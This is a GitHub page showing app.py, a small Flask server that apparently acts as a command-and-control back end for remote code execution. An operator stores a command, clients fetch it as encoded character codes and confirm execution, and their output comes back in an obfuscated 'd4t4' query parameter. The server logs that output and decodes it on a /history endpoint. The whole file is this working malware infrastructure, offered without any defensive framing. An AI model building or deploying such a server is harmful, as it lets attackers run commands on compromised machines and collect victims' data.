-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathapp.py
More file actions
81 lines (63 loc) · 2.02 KB
/
app.py
File metadata and controls
81 lines (63 loc) · 2.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, render_template, jsonify
import base64
import json
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/submit', methods=['GET', 'POST'])
def submit():
global stored_message
if request.method == 'POST':
msg = request.form.get('message')
stored_message = msg if msg else ""
return "<script>location.href = '/';</script>"
return "<script>location.href = '/';</script>"
@app.route('/showMSG')
def show_msg():
global stored_message
ascii_msg = ""
for char in stored_message:
ascii_msg += str(ord(char)) + " "
return ascii_msg
@app.route('/doneExec')
def done_exec():
global stored_message
if stored_message:
stored_message = ""
return "Executed successfully"
@app.route('/receiveMSG')
def recieve_msg():
data = request.args.get('d4t4')
if data:
filename = "recieved_data.txt"
with open(filename, 'a') as f:
f.write(data+"\n---")
return "Data recieved successfully"
return "No data recieved"
def ascii_to_char(ascii):
try:
return chr(int(ascii))
except:
return "Error"
@app.route('/history')
def history():
try:
filename = "recieved_data.txt"
with open(filename, 'r') as f:
data = f.read()
datas = data.split("\n---")
alldata = []
for data in datas:
if data.strip():
name, execute = data.split(":")
execute = base64.b64decode(execute).decode()
execute = execute.split(" ")
execute = [ascii_to_char(asc) for asc in execute]
execute = "".join(execute)
alldata.append({"name": name, "execute": execute})
return jsonify(alldata)
except Exception as e:
return jsonify({"error": str(e)})
if __name__ == '__main__':
app.run(debug=True)